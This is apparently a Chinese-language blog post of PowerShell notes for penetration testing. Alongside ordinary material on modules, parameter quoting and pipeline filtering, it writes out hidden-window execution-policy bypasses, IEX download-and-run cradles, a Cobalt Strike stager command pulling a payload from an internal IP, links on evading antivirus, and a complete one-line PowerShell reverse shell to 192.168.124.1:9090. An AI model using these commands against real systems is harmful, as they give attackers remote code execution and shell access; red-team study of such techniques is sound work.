1.模块导入

Import-Module Recon
Import-Module -name .\powerview.ps1

2.查看模块对应命令

Get-Command -Module name
powershell  echo 12;#3

powershell截断符是“;#”。

3.常见参数概述

powershell.exe -ExecutionPolicy bypass -noprofile IEX(’’)
上述命令意思为
1、将执行策略设置为绕过,这样可以执行powershell脚本文件。
2、不加载配置文件
3、隐藏窗口
4、Iex命令为invove-expression的别名:接收一个字符串作为要运行的完整命令(包括参数)。
在这里插入图片描述

名称用法
-Command需要执行的代码
-ExecutionPolicy设置默认的执行策略,一般使用Bypass
-EncodedCommand执行Base64代码,可在powershell混淆的时候用
-File这是需要执行的脚本名
-NoExit执行完成命令之后不会立即退出,比如我们执行powerhsell whoami 执行完成之后会推出我们的PS会话,如果我们加上这个参数,运行完之后还是会继续停留在PS的界面
-NoLogo不输出PS的Banner信息
-Noninteractive不开启交互式的会话
-NoProfile不使用当前用户使用的配置文件
-Sta以单线程模式启动ps
-Version设置用什么版本去执行代码
-WindowStyle设置Powershell的执行窗口,有下面的参数Normal, Minimized, Maximized, or Hidden,一般使用hidden

ep bypass= -ExecutionPolicy bypass
IEX(‘echo hello’) = invoke-expression(‘echo hello’)
-WindowStyle hidden

4.绕过powershell执行策略

cmd中:powershell -ep bypass
powershell中:Set-ExecutionPolicy Bypass -Scope Process
当有administrator权限当时候可以直接使用Set-ExecutionPolicy Unrestricted
也可以参考下面的链接
绕过powershell执行策略的方法

5.powershell下载远程数据

powershell (Invoke-WebRequest -Uri "https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe" -OutFile "C:\Users\31030\Desktop\tools\test\calc2.exe")
powershell (new-object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1','C:\Users\Administrator\Desktop\12.ps1')

6.常见操作

  1. 绕过本地权限执行文件
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
  1. 本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1
  1. 用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
  1. cs上线命令
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.16.250.3:8022/a'))"

#powershell上线命令可以简化成以下形式,删除了两个括号和两个双引号

powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://172.16.250.3:8022/a')
  1. 如果只能执行cmd,那么通过下面的命令来执行powershell脚本里面的函数。
powershell -exec bypass "Import-Module C:\Users\zhangsan\Desktop\powerview.ps1;Get-NetDomain"

在这里插入图片描述

  1. 筛选
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication |Where-Object{$_.Name -like "MM*"}

筛选Name字段中含有以MM开头的所有值。

7.powershell函数传参相关

但我们要传输powershell命令的时候,如果参数重含有单引号" ’ ",这时候我们需要转义它,转义的方式为在它前面再加一个单引号。且powershell函数传参数的时候,尽量中单引号扩起来,系统只会将两个单引号之间的内容当作字符串传输,而不是当作命令,进而降低了出错概率。

8.数据筛选

在这里插入图片描述

我们创建一个文件,内容如下:

在这里插入图片描述
筛选包含数字3的项:

在这里插入图片描述

$_是必须加的,它的作用是接收管道符传过来的值。

补充:powershell上线免杀

在这里插入图片描述
https://f5.pm/go-52159.html
https://www.freebuf.com/articles/system/249449.html
https://www.cnblogs.com/linuxsec/articles/7384582.html
https://y4er.com/post/cobalt-strike-powershell-bypass/

补充:powershell下载rsat

需要管理员权限

Get-WindowsCapability -Name RSAT* -Online | Select-Object -Property Name, State
Add-WindowsCapability -Name Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 –Online;whoami
Add-WindowsCapability -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 -Online

如何在windows中安装rsat
如何在不同的Windows版本上安装组策略管理控制台

补充:反弹powershell

powershell  -c "$client = New-Object Net.Sockets.TCPClient('192.168.124.1',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"

9.附录参考

powershell攻击教程
Powershell对象条件查询筛选

Logo

欢迎加入西安开发者社区!我们致力于为西安地区的开发者提供学习、合作和成长的机会。参与我们的活动,与专家分享最新技术趋势,解决挑战,探索创新。加入我们,共同打造技术社区!

更多推荐